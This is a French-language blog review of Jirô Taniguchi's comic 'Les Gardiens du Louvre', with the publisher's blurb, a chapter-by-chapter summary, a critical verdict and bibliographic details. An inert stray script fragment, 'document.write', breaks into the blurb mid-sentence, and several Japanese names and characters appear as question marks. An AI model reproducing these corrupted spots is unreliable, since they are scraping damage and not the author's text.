Les Gardiens du Louvre

“Au terme d’un voyage collectif en Europe, document.write(“”); un dessinateur japonais fait étape en solitaire à Paris, dans l’idée de visiter les musées de la capitale. Mais, cloué au lit de sa chambre d’hôtel par une fièvre insidieuse, il se trouve confronté avant tout à une forme de solitude absolue, celle des souffrants en terre étrangère, privés de tout recours immédiat au coeur de l’inconnu. Alors que le mal lui laisse quelque répit, il met son projet à exécution, et se perd dans les allées bondées du Louvre. Très vite, il va découvrir bien des facettes insoupçonnées de ce musée-monde, à la rencontre d’oeuvres et d’artistes de diverses époques, au cours d’un périple oscillant entre rêve et réalité, qui le mènera pour finir à la croisée des chemins entre tragédie collective et histoire personnelle.”
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“Avec cet album en forme de voyage intérieur, Jirô Taniguchi nous invite à une traversée temporelle et artistique à la découverte d’un esprit des lieux, sous la houlette de quelques figures tutélaires, familières ou méconnues… Car le Louvre a ses gardiens.”

[ Texte du site de l’éditeur; voir aussi la couverture arrière ]

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Quelle ne fut pas ma joie cette semaine de découvrir en bibliothèque un nouveau manga de Jir? Taniguchi ! Les Gardiens du Louvre (????????? / Chitose no tsubasa, hyaku n’en no yume / lit. “Mille ans d’aile, cent ans de rêve”) a d’abord été prépublié au Japon dans le #19 du magazine Big Comic Original (Oct. 2014). La traduction française est coédité par Futuropolis et Musée du Louvre Éditions dans le cadre d’un projet spécial où une douzaine d’auteurs (dont Enki Bilal, Hirohiko Araki, Éric Liberge, Nicolas de Crécy et Marc-Antoine Mathieu) ont produit une BD en s’inspirant d’oeuvres du Louvre.

Taniguchi aurait passé plusieurs semaines au musée en mai 2013 pour y faire de la recherche et des croquis en prévision de cette collaboration spéciale. Tout comme il l’a déjà fait avec La montagne magique (2006) et Mon année (2009), Taniguchi a conçu dès le départ cette ouvrage en couleurs et en grand format ce qui fait que Les Gardiens du Louvre nous apparait plus comme une bande-dessinée qu’un manga. Ce n’est pas surprenant puisque, son travail étant une commande du musée, il s’avait qu’il s’adressait avant tout à un public européen — et cela malgré qu’il ait d’abord été publié au Japon et que même la version française reste dans le sens de lecture japonais. [ci-contre: page 3]

Le récit est divisé en quatre chapitres et un épilogue. Chapitre 1: Les Gardiens du Louvre. En mai 2013, un dessinateur japonais décide de passer quelques jours à Paris après le salon international de la BD de Barcelone. Son plan était de visiter quelques musées mais la fatigue et le décalage horaire le laissent avec un mauvais rhume. Le lendemain, après une nuit de sommeil réparateur, il se sent un peu mieux et decide de s’attaquer au Louvre, qu’il trouve bondé. Après un moment dans la foule il est pris de vertiges, puis se retrouve dans une salle vide. La foule est parti et il fait la rencontre d’une dame en costume d’époque qui se dit être l’un des gardiens du Louvre, les esprits qui habitent les pièces exposées et protègent les lieux. Ainsi, dans les limbes oniriques de son imagination, elle lui sert de guide à travers le musée: de la Joconde au système de climatisation, de l’antiquité au 19e siècle. À la fin, il lui demande qui elle est et elle réponds: “la victoire… de Samothrace!”

Chapitre 2: La forêt de Corot. Se rappelant avoir lu un texte de Tokutomi Roka qui disait que Corot était “le poète le plus libre de tous les peintres de paysage” notre personnage décide de consacrer sa deuxième journée au Louvre à la peinture française. Il parvient finalement à la salle dédié à Jean-Baptiste Camille Corot et y fait le rencontre d’un peintre japonais, Asai Chû, qui, après avoir un peu parlé de lui-même, guide notre personnage dans la forêt à dessins de Corot, où il aperçoit le maître en personne.

Chapitre 3: Le jardin de Daubigny. Pour le troisième jour, notre personnage sort de Paris pour se rendre à Auvers-sur-Oise, le dernier endroit où vécut Vincent Van Gogh. Évidemment il rencontre le maître avec qui il discute peinture. En voyant l’esquisse que Van Gogh avait fait pour “Le jardin de Daubigny”, il s’y retrouve et visite la maison du peintre. Après s’être rendu sur la tombe des frères Van Gogh, il retourne à Paris. Le lendemain, il retourne au Louvre pour voir les toiles de Daubigny et il reparle à la Victoire de Samothrace.

Chapitre 4: Paris, 1939. C’est maintenant mardi et le Louvre est fermé. Notre personnage décide donc d’aller au Musée d’Orsay, mais la Victoire l’amène plutôt pendant la Deuxième Guerre Mondiale et elle lui explique comment Jacques Jaujard, directeur des musées nationaux, organise l’évacuation des oeuvres du Louvre afin de les soustraire au pillage des Nazies. Il croise au détour Saint-Exupéry. C’est sans doute l’histoire la plus intéressante de l’album.

Épilogue: Voyageur en un sanctuaire séculaire. Dernier jour à Paris et notre personnage se rend au Louvre pour un dernier coup d’oeil. Cette fois il visite les salles dédiées à la sculpture. Il y fait la rencontre de sa défunte épouse, disparue deux ans plus tôt dans une “catastrophe” (ici brève allusion au séisme et tsunami de mars 2011 sur la côte Pacifique du T?hoku). Il lui avait promis qu’ils visiteraient le Louvre ensemble un jour…

Avec cet hommage au Louvre, Taniguchi est fidèle à lui même et nous offre une fois de plus son thème favori de la déambulation nostalgique et contemplative, cette fois dans une sorte de délire onirique, et toujours cette touche pseudo autobiographique. La grande qualité de cet album est qu’il nous offre des planches superbement détailées et colorées. C’est une très belle histoire mais qui reste malgré tout un peu trop légère. En effet, le récit manque un peu de profondeur. Toutefois Les Gardiens du Louvre demeure tout de même une excellente lecture.

Extraits des pages 4, 5 et 12

Un extrait des vingt premières pages peut aussi être consulté sur le site de BDGest.com
Les Gardiens du Louvre, par Jiro TANIGUCHI (Traduction: Ilan Nguyên). Paris, Futuropolis / Louvre Éditions, novembre 2014. 23.0 x 32.5 x 1.7 cm, 136 pg., album couleur et cartonné, 20,00 € / $37.95 Can. Sens de lecture original japonais. ISBN: 9782754810159. Recommandé pour public adolescent (12+).

Pour plus d’information vous pouvez consulter les sites suivants:

Les Gardiens du Louvre © Futuropolis / Musée du Louvre Éditions 2014.

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